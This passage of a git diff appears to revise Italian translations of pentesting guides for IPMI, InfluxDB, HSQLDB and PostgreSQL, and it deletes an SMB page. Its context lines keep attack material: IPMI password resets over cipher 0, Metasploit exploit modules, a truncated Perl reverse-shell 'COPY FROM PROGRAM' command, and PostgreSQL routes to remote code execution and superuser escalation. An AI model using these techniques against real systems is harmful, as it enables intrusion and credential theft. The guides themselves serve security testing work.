a un utente valido. Questa debolezza è stata riscontrata in vari BMC di produttori come HP, Dell e Supermicro, suggerendo un problema diffuso in tutte le implementazioni di IPMI 2.0. ### **Bypass dell'autenticazione IPMI tramite Cipher 0** @@ -56,13 +54,13 @@ apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` -### **Recupero dell'hash della password remota di autenticazione RAKP IPMI 2.0** +### **Recupero dell'Hash della Password Remota di Autenticazione RAKP IPMI 2.0** Questa vulnerabilità consente il recupero delle password hash salate (MD5 e SHA1) per qualsiasi nome utente esistente. Per testare questa vulnerabilità, Metasploit offre un modulo: ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` -### **Autenticazione IPMI Anonima** +### **Autenticazione Anonima IPMI** Una configurazione predefinita in molti BMC consente l'accesso "anonimo", caratterizzato da stringhe di nome utente e password nulle. Questa configurazione può essere sfruttata per reimpostare le password degli account utente nominati utilizzando `ipmitool`: ```bash @@ -75,9 +73,9 @@ Una scelta di design critica in IPMI 2.0 richiede la memorizzazione di password ```bash cat /nv/PSBlock ``` -### **Vulnerabilità UPnP di Supermicro IPMI** +### **Vulnerabilità UPnP IPMI di Supermicro** -L'inclusione di un listener SSDP UPnP nel firmware IPMI di Supermicro, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nel Intel SDK per dispositivi UPnP versione 1.3.1, come dettagliato nella [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC: +L'inclusione da parte di Supermicro di un listener SSDP UPnP nel suo firmware IPMI, in particolare sulla porta UDP 1900, introduce un grave rischio per la sicurezza. Le vulnerabilità nel Intel SDK per dispositivi UPnP versione 1.3.1, come dettagliato nella [divulgazione di Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), consentono l'accesso root al BMC: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` @@ -91,7 +89,7 @@ msf> use exploit/multi/upnp/libupnp_ssdp_overflow ## Accessing the Host via BMC -L'accesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di ripristino. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini. +L'accesso amministrativo al Baseboard Management Controller (BMC) apre vari percorsi per accedere al sistema operativo dell'host. Un approccio semplice prevede di sfruttare la funzionalità Keyboard, Video, Mouse (KVM) del BMC. Questo può essere fatto riavviando l'host in una shell root tramite GRUB (utilizzando `init=/bin/sh`) o avviando da un CD-ROM virtuale impostato come disco di recupero. Tali metodi consentono la manipolazione diretta del disco dell'host, inclusa l'inserzione di backdoor, l'estrazione di dati o qualsiasi azione necessaria per una valutazione della sicurezza. Tuttavia, ciò richiede il riavvio dell'host, che è uno svantaggio significativo. Senza riavviare, accedere all'host in esecuzione è più complesso e varia in base alla configurazione dell'host. Se la console fisica o seriale dell'host rimane connessa, può essere facilmente presa in carico tramite le funzionalità KVM o serial-over-LAN (sol) del BMC tramite `ipmitool`. Esplorare lo sfruttamento delle risorse hardware condivise, come il bus i2c e il chip Super I/O, è un'area che richiede ulteriori indagini. ## Introducing Backdoors into BMC from the Host diff --git a/src/network-services-pentesting/8086-pentesting-influxdb.md b/src/network-services-pentesting/8086-pentesting-influxdb.md index 0c44be916..ca3bd8618 100644 --- a/src/network-services-pentesting/8086-pentesting-influxdb.md +++ b/src/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,11 +1,10 @@ # 8086 - Pentesting InfluxDB - {{#include ../banners/hacktricks-training.md}} ## Informazioni di base -**InfluxDB** è un **database di serie temporali (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database di uso generale, i TSDB offrono miglioramenti significativi in **spazio di archiviazione** e **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati obsoleti. Indici di database specializzati migliorano anche le prestazioni delle query. +**InfluxDB** è un **database di serie temporali (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati di serie temporali, che consistono in coppie timestamp-valore. Rispetto ai database di uso generale, i TSDB offrono miglioramenti significativi in **spazio di archiviazione** e **prestazioni** per i dataset di serie temporali. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Indici di database specializzati migliorano anche le prestazioni delle query. **Porta predefinita**: 8086 ``` @@ -24,7 +23,7 @@ InfluxDB potrebbe richiedere autenticazione oppure no. influx -host 'host name' -port 'port #' > use _internal ``` -Se ricevi un errore come questo: `ERR: unable to parse authentication credentials` significa che **si aspetta alcune credenziali**. +Se ricevi un errore come questo: `ERR: unable to parse authentication credentials`, significa che **si aspetta alcune credenziali**. ``` influx –username influx –password influx_pass ``` @@ -47,7 +46,7 @@ _internal ``` #### Mostra tabelle/misurazioni -La [**documentazione di InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) spiega che le **misurazioni** in InfluxDB possono essere paragonate alle tabelle SQL. La nomenclatura di queste **misurazioni** è indicativa del loro contenuto rispettivo, ciascuna contenente dati rilevanti per un'entità particolare. +La [**documentazione di InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) spiega che le **misurazioni** in InfluxDB possono essere paragonate alle tabelle SQL. La nomenclatura di queste **misurazioni** è indicativa del loro contenuto rispettivo, ciascuna contenente dati rilevanti per un particolare ente. ```bash > show measurements name: measurements @@ -62,9 +61,9 @@ processes swap system ``` -#### Mostra colonne/chiavi di campo +#### Mostra colonne/chiavi dei campi -Le chiavi di campo sono come le **colonne** del database +Le chiavi dei campi sono come le **colonne** del database ```bash > show field keys name: cpu @@ -99,7 +98,7 @@ time cpu host usage_guest usage_guest_nice usage_idle > [!WARNING] > In alcuni test con il bypass dell'autenticazione è stato notato che il nome della tabella doveva essere racchiuso tra virgolette doppie come: `select * from "cpu"` -### Autenticazione Automatica +### Automated Authentication ```bash msf6 > use auxiliary/scanner/http/influxdb_enum ``` diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index 8e8405f52..de367ea35 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -1,20 +1,20 @@ +# 9001 - Pentesting HSQLDB + {{#include ../banners/hacktricks-training.md}} -# Informazioni di base +## Informazioni di base -**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithreaded e transazionale, piccolo e veloce, con tabelle in memoria e su disco e supporta modalità incorporate e server. +**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithread e transazionale, piccolo e veloce, con tabelle in memoria e su disco e supporta modalità incorporate e server. **Porta predefinita:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` -# Informazioni - -### Impostazioni Predefinite +## Impostazioni Predefinite Nota che per impostazione predefinita questo servizio è probabilmente in esecuzione in memoria o è legato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di elevare i privilegi. -Le credenziali predefinite sono solitamente `sa` con una password vuota. +Le credenziali predefinite sono di solito `sa` con una password vuota. Se hai sfruttato un altro servizio, cerca possibili credenziali usando ```text @@ -22,15 +22,15 @@ grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Nota attentamente il nome del database - ne avrai bisogno per connetterti. -# Raccolta Informazioni +## Raccolta Informazioni Connettiti all'istanza del DB scaricando [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) ed estraendo `hsqldb/lib/hsqldb.jar`. Esegui l'app GUI \(eww\) usando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli. Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`. -# Trucchi +## Trucchi -## Routine del Linguaggio Java +### Routine del Linguaggio Java Possiamo chiamare metodi statici di una classe Java da HSQLDB utilizzando Routine del Linguaggio Java. Nota che la classe chiamata deve essere nel classpath dell'applicazione. @@ -38,7 +38,7 @@ Le JRT possono essere `funzioni` o `procedure`. Le funzioni possono essere chiam Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo usare una procedura invocata con l'istruzione `CALL`. -## Lettura delle Proprietà di Sistema Java +### Lettura delle Proprietà di Sistema Java Crea funzione: ```text @@ -52,7 +52,7 @@ VALUES(getsystemproperty('user.name')) ``` Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). -## Scrivere contenuto su file +### Scrivere contenuto su file Puoi utilizzare il `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` gadget Java situato nel JDK \(caricato automaticamente nel class path dell'applicazione\) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**. diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 388b6e776..2d238dd60 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,6 +1,5 @@ # 5432,5433 - Pentesting Postgresql - {{#include ../banners/hacktricks-training.md}} ## **Informazioni di Base** @@ -53,7 +52,7 @@ SELECT * FROM pg_extension; \s ``` > [!WARNING] -> Se eseguendo **`\list`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un **database postgresql AWS**. +> Se eseguendo **`\list`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un **database PostgreSQL AWS**. Per ulteriori informazioni su **come abusare di un database PostgreSQL** controlla: @@ -66,7 +65,7 @@ Per ulteriori informazioni su **come abusare di un database PostgreSQL** control msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection ``` -### [**Forza bruta**](../generic-hacking/brute-force.md#postgresql) +### [**Brute force**](../generic-hacking/brute-force.md#postgresql) ### **Scansione delle porte** @@ -81,7 +80,7 @@ connect_timeout=10'); ``` - L'host è inattivo -`DETTAGLI: impossibile connettersi al server: Nessuna rotta verso l'host. Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?` +`DETAIL: impossibile connettersi al server: Nessuna rotta verso l'host. Il server è in esecuzione sull'host "1.2.3.4" e accetta connessioni TCP/IP sulla porta 5678?` - La porta è chiusa ``` @@ -93,7 +92,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` -o +or ``` DETAIL: FATAL: password authentication failed for user "name" ``` @@ -102,7 +101,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tuttavia, se hai accesso diretto al server PostgreSQL, puoi recuperare le informazioni necessarie. Se l'estrazione di nomi utente e password dalle tabelle di sistema non è fattibile, potresti considerare di utilizzare il metodo di attacco con wordlist discusso nella sezione precedente, poiché potrebbe potenzialmente dare risultati positivi. +In PL/pgSQL functions, attualmente non è possibile ottenere dettagli sulle eccezioni. Tuttavia, se hai accesso diretto al server PostgreSQL, puoi recuperare le informazioni necessarie. Se estrarre nomi utente e password dalle tabelle di sistema non è fattibile, potresti considerare di utilizzare il metodo di attacco wordlist discusso nella sezione precedente, poiché potrebbe potenzialmente dare risultati positivi. ## Enumerazione dei Privilegi @@ -114,12 +113,12 @@ In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tut | rolinherit | Il ruolo eredita automaticamente i privilegi dei ruoli di cui è membro | | rolcreaterole | Il ruolo può creare altri ruoli | | rolcreatedb | Il ruolo può creare database | -| rolcanlogin | Il ruolo può accedere. Cioè, questo ruolo può essere utilizzato come identificatore di autorizzazione della sessione iniziale | +| rolcanlogin | Il ruolo può accedere. Cioè, questo ruolo può essere dato come identificatore di autorizzazione della sessione iniziale | | rolreplication | Il ruolo è un ruolo di replica. Un ruolo di replica può avviare connessioni di replica e creare e rimuovere slot di replica. | | rolconnlimit | Per i ruoli che possono accedere, questo imposta il numero massimo di connessioni concorrenti che questo ruolo può effettuare. -1 significa nessun limite. | | rolpassword | Non la password (legge sempre come `********`) | -| rolvaliduntil | Tempo di scadenza della password (utilizzato solo per l'autenticazione della password); null se non c'è scadenza | -| rolbypassrls | Il ruolo ignora ogni politica di sicurezza a livello di riga, vedere [Sezione 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. | +| rolvaliduntil | Tempo di scadenza della password (utilizzato solo per l'autenticazione della password); nullo se non c'è scadenza | +| rolbypassrls | Il ruolo ignora ogni politica di sicurezza a livello di riga, vedere [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) per ulteriori informazioni. | | rolconfig | Valori predefiniti specifici per il ruolo per le variabili di configurazione a runtime | | oid | ID del ruolo | @@ -129,8 +128,8 @@ In PL/pgSQL, attualmente non è possibile ottenere dettagli sulle eccezioni. Tut - Se sei membro di **`pg_read_server_files`** puoi **leggere** file - Se sei membro di **`pg_write_server_files`** puoi **scrivere** file -> [!NOTE] -> Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono la **stessa** cosa. Dipende solo da **come lo usi** e se **consenti l'accesso**. +> [!TIP] +> Nota che in Postgres un **utente**, un **gruppo** e un **ruolo** sono **la stessa cosa**. Dipende solo da **come lo usi** e se **consenti l'accesso**. ```sql # Get users roles \du @@ -212,7 +211,7 @@ SELECT * FROM pg_proc; ### Leggi directory e file -Da questo [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) i membri del gruppo definito **`DEFAULT_ROLE_READ_SERVER_FILES`** (chiamato **`pg_read_server_files`**) e **super utenti** possono utilizzare il metodo **`COPY`** su qualsiasi percorso (controlla `convert_and_check_filename` in `genfile.c`): +Da questo [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) i membri del gruppo definito **`DEFAULT_ROLE_READ_SERVER_FILES`** (chiamato **`pg_read_server_files`**) e gli **super utenti** possono utilizzare il metodo **`COPY`** su qualsiasi percorso (controlla `convert_and_check_filename` in `genfile.c`): ```sql # Read file CREATE TABLE demo(t text); @@ -280,6 +279,8 @@ Tuttavia, ci sono **altre tecniche per caricare grandi file binari:** ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} + + ### Aggiornamento dei dati della tabella PostgreSQL tramite scrittura su file locale Se hai i permessi necessari per leggere e scrivere file del server PostgreSQL, puoi aggiornare qualsiasi tabella sul server **sovrascrivendo il nodo file associato** nella [directory dei dati di PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Ulteriori informazioni su questa tecnica** [**qui**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -336,7 +337,7 @@ WHERE pg_class.relname = '{TABLE_NAME}'; python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA} ``` -![Demo del PostgreSQL Filenode Editor](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) +![PostgreSQL Filenode Editor Demo](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif) 6. Ricarica il filenode modificato tramite le funzioni `lo_*`, e sovrascrivi il file originale sul disco @@ -351,7 +352,7 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` -8. Dovresti ora vedere i valori aggiornati della tabella in PostgreSQL. +8. Ora dovresti vedere i valori aggiornati della tabella in PostgreSQL. Puoi anche diventare un superadmin modificando la tabella `pg_authid`. **Vedi** [**la sezione seguente**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). @@ -386,7 +387,7 @@ COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::I > [**Ulteriori informazioni.**](pentesting-postgresql.md#privilege-escalation-with-createrole) Oppure usa il modulo `multi/postgres/postgres_copy_from_program_cmd_exec` di **metasploit**.\ -Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene riportato come CVE-2019-9193, Postges ha dichiarato che si trattava di una [caratteristica e non sarà corretto](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). +Ulteriori informazioni su questa vulnerabilità [**qui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Sebbene segnalata come CVE-2019-9193, Postges ha dichiarato che si trattava di una [caratteristica e non sarà corretta](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/). ### RCE con i linguaggi PostgreSQL @@ -404,7 +405,7 @@ Una volta che hai **imparato** dal post precedente **come caricare file binari** ### RCE con il file di configurazione di PostgreSQL -> [!NOTE] +> [!TIP] > I seguenti vettori RCE sono particolarmente utili in contesti SQLi ristretti, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT annidate Il **file di configurazione** di PostgreSQL è **scrivibile** dall'**utente postgres**, che è quello che esegue il database, quindi come **superutente**, puoi scrivere file nel filesystem e quindi puoi **sovrascrivere questo file.** @@ -433,7 +434,7 @@ Quindi, un attaccante dovrà: 2. `ssl_passphrase_command_supports_reload = on` 6. Eseguire `pg_reload_conf()` -Durante il test ho notato che questo funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (quindi l'utente postgres può leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_. +Durante il test ho notato che questo funzionerà solo se il **file della chiave privata ha privilegi 640**, è **di proprietà di root** e del **gruppo ssl-cert o postgres** (in modo che l'utente postgres possa leggerlo), ed è posizionato in _/var/lib/postgresql/12/main_. #### **RCE con archive_command** @@ -450,7 +451,7 @@ I passaggi generali sono: 3. Ricaricare la configurazione: `SELECT pg_reload_conf()` 4. Forzare l'operazione WAL a essere eseguita, il che chiamerà il comando di archiviazione: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` per alcune versioni di Postgres -#### **RCE con librerie preload** +#### **RCE con librerie di preload** Ulteriori informazioni [su questa tecnica qui](https://adeadfed.com/posts/postgresql-select-only-rce/). @@ -517,7 +518,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so 6. Caricare il `postgresql.conf` dannoso, creato nei passaggi 2-3, e sovrascrivere quello originale 7. Caricare il `payload.so` dal passaggio 5 nella directory `/tmp` 8. Ricaricare la configurazione del server riavviando il server o invocando la query `SELECT pg_reload_conf()` -9. Alla successiva connessione al DB, riceverai la connessione della reverse shell. +9. Alla prossima connessione al DB, riceverai la connessione della reverse shell. ## **Postgres Privesc** @@ -525,7 +526,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so #### **Grant** -Secondo le [**docs**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._ +Secondo la [**documentazione**](https://www.postgresql.org/docs/13/sql-grant.html): _I ruoli che hanno il privilegio **`CREATEROLE`** possono **concedere o revocare l'appartenenza a qualsiasi ruolo** che **non** è un **superutente**._ Quindi, se hai il permesso **`CREATEROLE`** potresti concederti accesso ad altri **ruoli** (che non sono superutente) che possono darti la possibilità di leggere e scrivere file ed eseguire comandi: ```sql @@ -549,11 +550,11 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ```sql COPY (select '') to PROGRAM 'psql -U -c "ALTER USER WITH SUPERUSER;"'; ``` -> [!NOTE] +> [!TIP] > Questo è solitamente possibile a causa delle seguenti righe nel file **`pg_hba.conf`**: > > ```bash -> # "local" è solo per connessioni a socket di dominio Unix +> # "local" è solo per connessioni tramite socket di dominio Unix > local all all trust > # Connessioni locali IPv4: > host all all 127.0.0.1/32 trust @@ -565,11 +566,11 @@ COPY (select '') to PROGRAM 'psql -U -c "ALTER USER In [**questo articolo**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) viene spiegato come sia stato possibile **privesc** in Postgres GCP abusando del privilegio ALTER TABLE che è stato concesso all'utente. -Quando provi a **rendere un altro utente proprietario di una tabella** dovresti ricevere un **errore** che lo impedisce, ma apparentemente GCP ha dato quella **opzione all'utente postgres non superuser** in GCP: +Quando provi a **rendere un altro utente proprietario di una tabella** dovresti ricevere un **errore** che lo impedisce, ma apparentemente GCP ha dato quella **opzione all'utente postgres non-superuser** in GCP:
-Unendo questa idea con il fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi** del **proprietario della tabella**. È possibile creare un indice con una funzione e dare i permessi di proprietario a un **super user** su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario. +Unendo questa idea con il fatto che quando i comandi **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) vengono eseguiti su una **tabella con una funzione di indice**, la **funzione** viene **chiamata** come parte del comando con i **permessi** del **proprietario** della **tabella**. È possibile creare un indice con una funzione e dare i permessi di proprietario a un **super utente** su quella tabella, e poi eseguire ANALYZE sulla tabella con la funzione malevola che sarà in grado di eseguire comandi perché utilizza i privilegi del proprietario. ```c GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(onerel->rd_rel->relowner, @@ -578,7 +579,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION); #### Exploitation 1. Inizia creando una nuova tabella. -2. Inserisci del contenuto irrilevante nella tabella per fornire dati alla funzione di indicizzazione. +2. Inserisci del contenuto irrilevante nella tabella per fornire dati per la funzione di indicizzazione. 3. Sviluppa una funzione di indicizzazione malevola che contiene un payload di esecuzione del codice, consentendo l'esecuzione di comandi non autorizzati. 4. ALTERA il proprietario della tabella in "cloudsqladmin," che è il ruolo di superutente di GCP utilizzato esclusivamente da Cloud SQL per gestire e mantenere il database. 5. Esegui un'operazione ANALYZE sulla tabella. Questa azione costringe il motore PostgreSQL a passare al contesto utente del proprietario della tabella, "cloudsqladmin." Di conseguenza, la funzione di indicizzazione malevola viene chiamata con i permessi di "cloudsqladmin," consentendo così l'esecuzione del comando shell precedentemente non autorizzato. @@ -643,7 +644,7 @@ SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2; ``` ### **Funzione definita personalizzata con** SECURITY DEFINER -[**In questo writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono stati in grado di privesc all'interno di un'istanza postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**: +[**In questo writeup**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), i pentester sono riusciti a privesc all'interno di un'istanza postgres fornita da IBM, perché hanno **trovato questa funzione con il flag SECURITY DEFINER**: 
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
 RETURNS text
@@ -678,7 +679,7 @@ E poi **eseguire comandi**:
 
 ### Pass Burteforce con PL/pgSQL
 
-**PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, **le istruzioni SQL** e **i trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e automazione del database.\
+**PL/pgSQL** è un **linguaggio di programmazione completo** che offre un maggiore controllo procedurale rispetto a SQL. Consente l'uso di **cicli** e altre **strutture di controllo** per migliorare la logica del programma. Inoltre, le **istruzioni SQL** e i **trigger** hanno la capacità di invocare funzioni create utilizzando il **linguaggio PL/pgSQL**. Questa integrazione consente un approccio più completo e versatile alla programmazione e automazione del database.\
 **Puoi abusare di questo linguaggio per chiedere a PostgreSQL di forzare le credenziali degli utenti.**
 
 {{#ref}}
@@ -687,7 +688,7 @@ E poi **eseguire comandi**:
 
 ### Privesc sovrascrivendo le tabelle interne di PostgreSQL
 
-> [!NOTE]
+> [!TIP]
 > Il seguente vettore di privesc è particolarmente utile in contesti SQLi ristretti, poiché tutti i passaggi possono essere eseguiti tramite istruzioni SELECT annidate
 
 Se puoi **leggere e scrivere file del server PostgreSQL**, puoi **diventare un superutente** sovrascrivendo il filenode su disco di PostgreSQL, associato alla tabella interna `pg_authid`.
@@ -701,7 +702,7 @@ I passaggi dell'attacco sono:
 3. Scaricare il filenode tramite le funzioni `lo_*`
 4. Ottenere il tipo di dato, associato alla tabella `pg_authid`
 5. Utilizzare il [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) per [modificare il filenode](https://adeadfed.com/posts/updating-postgresql-data-without-update/#privesc-updating-pg_authid-table); impostare tutti i flag booleani `rol*` a 1 per permessi completi.
-6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale sul disco
+6. Ricaricare il filenode modificato tramite le funzioni `lo_*`, e sovrascrivere il file originale su disco
 7. _(Opzionalmente)_ Cancellare la cache della tabella in memoria eseguendo una query SQL costosa
 8. Ora dovresti avere i privilegi di un superadmin completo.
 
diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md
deleted file mode 100644
index 7f48f96aa..000000000
--- a/src/network-services-pentesting/pentesting-smb.md
+++ /dev/null
@@ -1,532 +0,0 @@
-# 139,445 - Pentesting SMB
-
-{{#include ../banners/hacktricks-training.md}}
-
-## **Porta 139**
-
-Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per consentire a applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione di dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono attraverso i loro nomi NetBIOS, che possono avere una lunghezza massima di 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) emette un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
-```
-139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
-```
-## Port 445
-
-Tecnicamente, la Porta 139 è riferita come ‘NBT over IP’, mentre la Porta 445 è identificata come ‘SMB over IP’. L'acronimo **SMB** sta per ‘**Server Message Blocks**’, che è anche modernamente conosciuto come il **Common Internet File System (CIFS)**. Come protocollo di rete a livello applicativo, SMB/CIFS è principalmente utilizzato per abilitare l'accesso condiviso a file, stampanti, porte seriali e facilitare varie forme di comunicazione tra nodi su una rete.
-
-Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttamente su TCP/IP, eliminando la necessità di NetBIOS su TCP/IP, attraverso l'utilizzo della porta 445. Al contrario, su sistemi diversi, si osserva l'impiego della porta 139, indicando che SMB viene eseguito in congiunzione con NetBIOS su TCP/IP.
-```
-445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
-```
-### SMB
-
-Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
-
